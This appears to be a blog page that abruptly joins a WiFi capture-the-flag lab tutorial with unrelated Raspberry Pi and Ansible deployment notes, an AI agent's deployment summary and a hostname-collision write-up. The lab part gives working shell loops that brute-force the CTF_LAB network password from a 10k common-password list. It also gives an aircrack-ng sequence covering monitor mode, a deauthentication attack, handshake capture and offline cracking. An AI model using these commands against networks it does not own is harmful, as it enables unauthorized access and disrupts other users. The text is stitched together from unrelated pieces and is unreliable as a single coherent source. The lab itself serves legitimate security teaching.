In this lab, you will learn how to brute force the WiFi credentials of the CTF_LAB access point. This is the first challenge in the WiFi CTF competition and teaches fundamental concepts of password security and dictionary attacks.

Challenge Objectives:

• [ ] Find the wifi network
• [ ] Manually guess some passwords
• [ ] Find a dictionary
• [ ] Find a command to use to connect to wifi networks
• [ ] Figure out how to push the passwords from the dictionary file into the wifi connection command
• [ ] Launch the attack and discover the credential

BEFORE YOU START

Prerequisites:

1. The CTF Lab Raspberry Pi must be powered on and running
2. The WiFi Access Point should be broadcasting (wait ~1-2 minutes after power-on)
3. You should have a laptop or mobile device capable of WiFi scanning
4. IMPORTANT: DO NOT PERFORM THIS WORK ON A CORPORATE OR MANAGED LAPTOP. Use a personal computer you own, as security/IT teams may flag hacking tools as malicious software

What You’ll Learn:

• WiFi network reconnaissance
• Password dictionary attacks
• Command-line automation with loops
• The importance of strong passwords

Discovering the WiFi Network

The Raspberry Pi CTF Lab operates as a WiFi access point that you can practice ethical hacking against. About 1-2 minutes after it is powered on, it will broadcast a WiFi network with the SSID (network name):

CTF_LAB

Finding the Network

You can discover this network from any WiFi-capable device:

On Mobile Devices (iOS/Android):

• Open Settings → WiFi
• Look for the network named CTF_LAB in the available networks list

On Mac:

• Click the WiFi icon in the menu bar
• Look for CTF_LAB in the network list

On Linux:

# Scan for available networks
nmcli device wifi list

# Or use iwlist
sudo iwlist wlan0 scan | grep -i "ctf_lab"

On Windows:

• Click the WiFi icon in the system tray
• Look for CTF_LAB in the available networks

Progress:

• [x] Find the wifi network
• [ ] Manually guess some passwords
• [ ] Find a dictionary
• [ ] Find a command to use to connect to wifi networks
• [ ] Figure out how to push the passwords from the dictionary file into the wifi connection command
• [ ] Launch the attack and discover the credential

Manually Guessing a Password

Now that you’ve found the CTF_LAB network, you can try connecting with some common passwords. Try a few guesses manually:

• password
• 12345678
• admin
• ctf
• supervisor

Unless you’re very lucky (or very strategic), you probably won’t guess it immediately. This demonstrates an important security principle: password strength matters.

Why Dictionary Attacks Work

You might wonder why manual guessing is ineffective, but a dictionary attack can succeed. Here’s the key insight:

Password Space vs. Memorable Passwords

• Total possible passwords: With lowercase letters, uppercase, numbers, and symbols, an 8-character password has over 200 trillion possible combinations
• Memorable passwords: Most people choose passwords they can remember, which drastically reduces the search space to maybe a few million common choices

Since humans tend to use memorable passwords (dictionary words, names, common phrases), attackers can:

1. Start with a list of commonly used passwords
2. Try these first before resorting to true brute force
3. Often succeed without testing billions of random combinations

This is why password managers and randomly generated passwords are so important for real security!

Progress:

• [x] Find the wifi network
• [x] Manually guess some passwords
• [ ] Find a dictionary
• [ ] Find a command to use to connect to wifi networks
• [ ] Figure out how to push the passwords from the dictionary file into the wifi connection command
• [ ] Launch the attack and discover the credential

Finding a Dictionary

Let’s try to find a common password list. You can do this by searching google for the following phrase:

“10k most common passwords”

you should see a link to a github repository show up that’s at the following url:

https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt

Browse to the page. Click on the button labeled “raw” on the right side of the page. You can then save this file to your computer by clicking on the file menu for the browser and selecting “save as.”

When you click on Save as, a dialog will show up:

You’ll need to create a directory for starting our hacking. You can do this from within the dialog by clicking on New Folder. Name it HackingLab and click Create.

Then go ahead and click on save. You’ll now have a file called “10k-most-common.txt” in the Hacking lab direcotry. Let’s learn to view the file from the command line. Let’s use spotlight to open up the terminal by hitting command and space simultaneously, and then typing in terminal:

Change into your HackingLab directory by typing the following:

cd HackingLab Now that you’re in the HackingLab directory, let’s view the password file:

more 10k-most-common.txt

You’ll see that each row of the file contains a password.

Hit q to leave the more command.

Progress:

• [x] Find the wifi network
• [x] Manually guess some passwords
• [x] Find a dictionary
• [ ] Find a command to use to connect to wifi networks
• [ ] Figure out how to push the passwords from the dictionary file into the wifi connection command
• [ ] Launch the attack and discover the credential

Finding a Command to Connect to WiFi Networks

Now we have a password list – we need to figure out how to automate connection attempts. The approach varies by operating system:

Mac OS

Search Google for “Connect to wifi from command line mac” to find resources. Here are the key commands:

Scan for networks:

/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s

Connect to a network:

networksetup -setairportnetwork en0 <SSID_OF_NETWORK> <PASSWORD>

Try running the airport -s command to see available networks. You should see CTF_LAB in the list.

Testing a single password:

networksetup -setairportnetwork en0 CTF_LAB somepassword

When you run this, your WiFi will disconnect temporarily. If the password is wrong, you’ll see an error message.

Linux

Using nmcli (NetworkManager):

# Scan for networks
nmcli device wifi list

# Connect to network
nmcli device wifi connect CTF_LAB password somepassword

Using wpa_supplicant (manual):

# Create config
wpa_passphrase CTF_LAB somepassword > /tmp/wpa.conf

# Connect
sudo wpa_supplicant -B -i wlan0 -c /tmp/wpa.conf

Windows (PowerShell)

# View available networks
netsh wlan show networks

# Connect to network
netsh wlan connect name="CTF_LAB"

For automated password testing on Windows, you’ll need to create a WiFi profile XML file for each password attempt, which is more complex than on Mac/Linux.

Progress:

• [x] Find the wifi network
• [x] Manually guess some passwords
• [x] Find a dictionary
• [x] Find a command to use to connect to wifi networks
• [ ] Figure out how to push the passwords from the dictionary file into the wifi connection command
• [ ] Launch the attack and discover the credential

Automating the Dictionary Attack

Now for the exciting part – we’ll automate the password testing using a loop that tries each password from our dictionary file!

Mac OS Script

At the terminal, type the following lines and hit Enter at the end of each line:

while read passwordfilevalue; do
  networksetup -setairportnetwork en0 CTF_LAB "$passwordfilevalue"
  ifconfig en0 | grep inet
  echo "Tried password: $passwordfilevalue"
done < 10k-most-common.txt

What this script does:

Command	Purpose
while read passwordfilevalue; do	Creates a loop that reads the password list one row at a time
networksetup -setairportnetwork en0 CTF_LAB "$passwordfilevalue"	Attempts to connect to CTF_LAB using the current password
`ifconfig en0	grep inet`
echo "Tried password: $passwordfilevalue"	Prints the password we just tried
done < 10k-most-common.txt	Reads from the password dictionary file

How to detect success:

• When you see an inet line with an IP address (like inet 192.168.4.100), you’ve connected successfully!
• The password printed immediately before the IP address is the correct one
• The CTF_LAB network uses the 192.168.4.0/24 subnet, so successful connections will show an IP like 192.168.4.X

Linux Script

while read passwordfilevalue; do
  nmcli device wifi connect CTF_LAB password "$passwordfilevalue" 2>&1
  if [ $? -eq 0 ]; then
    echo "SUCCESS! Password found: $passwordfilevalue"
    break
  else
    echo "Failed password: $passwordfilevalue"
  fi
done < 10k-most-common.txt

Advanced: Using Aircrack-ng Suite (Linux)

For a more sophisticated approach, you can capture the WPA2 handshake and crack it offline:

# 1. Put WiFi adapter in monitor mode
sudo airmon-ng start wlan0

# 2. Scan for networks
sudo airodump-ng wlan0mon

# 3. Capture handshake (note the channel and BSSID of CTF_LAB)
sudo airodump-ng -c <channel> --bssid <BSSID> -w ctf_capture wlan0mon

# 4. In another terminal, deauth a client to force handshake
sudo aireplay-ng -0 1 -a <BSSID> wlan0mon

# 5. Once handshake is captured, crack it
aircrack-ng -w 10k-most-common.txt ctf_capture-01.cap

Progress:

• [x] Find the wifi network
• [x] Manually guess some passwords
• [x] Find a dictionary
• [x] Find a command to use to connect to wifi networks
• [x] Figure out how to push the passwords from the dictionary file into the wifi connection command
• [x] Launch the attack and discover the credential

What You Should See

As the script runs, you’ll see:

• Each password being tried
• Connection errors for wrong passwords
• When successful: An IP address in the 192.168.4.X range appears!

The password is somewhere in that 10k common password list. Watch the output carefully to catch the successful connection.

Hint: Think about common passwords related to oversight, management, or authority. The CTF_LAB password is a common English word.

Next Steps

Once you’ve successfully connected to the CTF_LAB WiFi network, you’re ready to:

1. Scan the network to find a registration resource
2. Register
3. Access the dashboard
4. Begin exploring the web services and system challenges
5. Start earning points!

Congratulations on completing your first challenge! You’ve learned:

• WiFi reconnaissance techniques
• The power of dictionary attacks
• Why password strength matters
• Basic bash scripting for automation

Summary of what we accomplished:

1. Fixed SSH firewall lockout – Added comprehensive SSH safety rules to iptables
2. Resolved dnsmasq service issues – Removed problematic systemd override, fixed configuration
3. Created missing template files – Added device_registration.py.j2 and deployment_record.json.j2
4. Removed UFW conflicts – Eliminated redundant firewall configuration
5. Fixed APT sources – Corrected template variables with proper Debian bookworm repositories
6. Recovered from NetworkManager disability – Fixed and prevented future networking loss
7. Learned important lessons – Documented the anti-pattern of using ignore_errors as a lazy fix The Device Catcher deployment is now complete and the playbook is more robust for future runs. The system will properly handle
   single WiFi interface setups and maintain network connectivity through reboots. Good luck with your marathon device tracking project!

What’s the current todo list?

● The todo list is now empty! We’ve completed all tasks:

✅ Fixed firewall rules blocking SSH on wlan0
✅ Removed lessons learned file processing from Ansible playbooks✅ Fixed or excluded documentation role with circular references
✅ Fixed dnsmasq configuration to work properly
✅ Fixed networking disabled after reboot
✅ Updated playbook to handle single WiFi interface systems

All deployment issues have been resolved and the Device Catcher system is successfully deployed.

Yesterday (Sunday) I fiddled with the captive portal on the instant community wifi build. My goal was to improve the experience for ios devices. iOS devices don’t support the camera apis in a captive portal window. I started working with claude to get this built, but the app ended up breaking. I had to start over.

I had problems with writing the recipient image on my linux laptop. for some reason, the devices aren’t connecting to wifi when I have them powered up with a build from the linux laptop. The ripped images from my iMac do work, however. I built a new 8gig image and ripped 10 cards on the etcher.

When the images were finally ready, i made a fateful choice. Instead of using the container, I tried to do the deployment from the host OS. The last time I did this it failed because the essential.yml file’s ordering was broken. I’d corrected this a couple of days ago, and retried the experiment. THIS WAS FAR MORE PRODUCTIVE!

Lessons Learned

1. When running from the host OS, we lose the $DOCKER_HOST variable. Recall: if we have the builder hotspot, the docker_host value is hardcoded to 10.6.6.1. If it’s running in the containers, they’re preconfigured to grab the hostname of the host OS running apt-cacher-ng container- and the playbook applies the hostname to the target devices apt repositories correctly. Since we’re implementing a 3rd solution- which is running the playbook from the Host OS, we need to manually pass the environment variable. Additionally, the root_playbook_dir is hardcoded to be /home/pi/Playbooks/yadda yada. These two tasks can be achieved with the following command:
   DOCKER_HOST=captainmccrank.local ansible-playbook -i inventory run.yml -e “root_playbook_dir=$(pwd)” -vv
   
2. The agent performed very well. The Agent’s summary of the deliverables is as follows:

## Achievement Summary

**MAJOR BREAKTHROUGH**: Successfully completed 95%+ of the Instant Community WiFi Portal deployment using host system approach with proper environment variable configuration. This represents the **furthest successful deployment progress** achieved to date.

**Impact**: Critical – Proved host system deployment viability and documented complete infrastructure success

**Severity**: Late-stage failure after major system completion

**Environment**: Host system deployment with corrected DOCKER_HOST and path variables

## Deployment Success Metrics

### **Quantitative Success:**

– **Previous attempts**: Failed at tasks 3-4 (APT repository failures)

– **This session**: Reached final cleanup phase (`roles/system/tasks/final_cleanup.yml`)

– **Estimated completion**: 95%+ of all deployment tasks completed successfully

– **Package installations**: 247+ development packages, WiFi drivers, SSL certificates

– **System reboots**: Multiple successful reboots with automatic reconnection

– **Validation tests**: All critical infrastructure tests **PASSING**

### **Infrastructure Achievements:**

✅ **APT Repository System**: Perfect operation through apt-cacher-ng server

✅ **Development Environment**: Complete build toolchain installation

✅ **WiFi Hardware**: 8812au drivers compiled, installed, and activated

✅ **Network Architecture**: NetworkManager + dnsmasq + nodogsplash properly configured

✅ **SSL Infrastructure**: Certificates generated (snakeoil, nginx, certbot integration)

✅ **Service Dependencies**: All critical service relationships established correctly

Situation

When deploying multiple Raspberry Pi devices from the same firmware image for Ansible automation, hostname conflicts create operational challenges. While RFC 6762 specifies that mDNS devices should automatically resolve naming collisions by incrementing the duplicate name with a -2/3/4/etc postfix, real-world implementations often fail. Pinging ansibledest.local often returns competing results when multiple pis are online. This leaves devices unreachable with duplicate hostnames like ansibledest.local. This makes Ansible playbooks unable to identify and manage devices reliably.

Task

I will develop an automated solution that:

• Proactively resolves hostname conflicts before they impact operations
• Runs automatically on first boot without manual intervention
• Scales to simultaneous deployment of multiple devices
• Provides comprehensive audit logging for network discovery
• Integrates seamlessly with existing Ansible automation workflows

Action

I created a comprehensive hostname collision resolver system consisting of:

Core Components

1. hostname-collision-resolver.sh – Main script that:
   • Waits for network interfaces (wlan0/eth0) to be ready
   • Adds random delay (10-40 seconds) to prevent simultaneous boot conflicts
   • Scans network using avahi-browse and ping for existing hostname variants
   • Uses gap-filling algorithm to find lowest available hostname number
   • Updates system hostname and configuration files
   • Logs detailed network state including IP/MAC addresses of discovered hosts
   • Reboots automatically if hostname changes are made
2. hostname-collision-resolver.service – Systemd service for proper boot integration:
   • Runs after network services are online
   • Executes before Ansible automation services
   • Configured as one-time execution with comprehensive logging
3. firstrun.sh – Bootstrap script for SD card deployment:
   • Installs required packages (avahi-utils, avahi-daemon)
   • Embeds and installs the hostname resolver
   • Enables services for automatic execution
   • Self-removes after completion

Deployment Strategy

• Embedded the entire hostname resolver system into a single firstrun.sh script
• Used Raspberry Pi Imager advanced options for base configuration
• Copied firstrun.sh to boot partition with proper permissions (chmod +x, chown root:root)
• Created master SD card image ready for mass duplication via drive cloner

Key Features Implemented

• Network-aware startup: Waits for actual network connectivity, not just interface up
• Collision prevention: Random delays handle simultaneous device deployments
• Intelligent naming: Gap-filling algorithm finds lowest available hostname variant
• Comprehensive logging: Permanent audit trail of network state and decisions
• One-time execution: Flag file prevents repeated runs throughout device lifetime
• Automatic integration: Ready for immediate Ansible automation post-boot

Result

Successfully created a production-ready solution ready for testing. Should deliver the following results:

Immediate Outcomes

• Master image ready: SD card contains fully integrated hostname resolver system
• Scalable deployment: Ready for drive cloner to create multiple identical cards
• Zero-touch automation: Devices will automatically resolve hostname conflicts on first boot
• Ansible-ready: Devices will be immediately discoverable for automation after hostname resolution

Technical Achievements

• Robust conflict detection: Uses both mDNS discovery and ping verification
• Intelligent numbering: Finds optimal hostname (e.g., picks device-2.local if device-1.local and device-4.local exist)
• Comprehensive logging: Complete audit trail including network topology at boot time
• Production hardening: Error handling, timeouts, and safety mechanisms throughout

Next Steps Enabled

1. Use drive cloner to duplicate master SD card to multiple cards
2. Deploy cards to Raspberry Pi devices simultaneously
3. Power on devices – automatic hostname resolution occurs
4. Run Ansible discovery to locate renamed devices
5. Proceed with normal Ansible automation workflows

The solution transforms a manual, error-prone process into a fully automated system that scales from single devices to large deployments while maintaining complete operational visibility.

I did write a testplan.md file that’s more detailed with test steps.

✅ Problem Fixed! Hostname Timing Issue Resolved

What Was Wrong:

• Hostname change happened in final_cleanup.yml (middle of system role)
• cloudflare_tunnel and selfie_app roles ran AFTER system role
• They expected the new hostname but system still had old hostname
• This caused the “hostname transition problem” documented in CLAUDE.md

Solution Implemented:

• Moved hostname changes to post_tasks in run.yml

New execution order:

1. system role (no hostname change)
2. cloudflare_tunnel role
3. selfie_app role
4. post_tasks: Set final hostname ← NOW HAPPENS LAST

Benefits:

• cloudflare_tunnel and selfie_app configure with {{ hostname }} variable

• Actual hostname change happens AFTER all roles complete

• Clean transition from ansibledest.local → thepub.localNo orphaning – roles get configured properly before hostname switches

• Resume Point: You can now resume as with –tags final_hostname_change to run just the hostname changes, or continue normally knowing the execution order is correct.

The hostname transition issue that’s been causing problems is now properly sequenced!

Key lessons:

Key Takeaways:

The Run.yml file is the ultimate arbiter of execution.

• It calls the “system” role, the “cloudflare” tunnel role and the “seflie app” role. it then has “post_tasks” that handle the brittle commands that change the state of the device.
• The system roll has all of the individual tasks in /roles/system/tasks whose order is controlled by main.yml in there.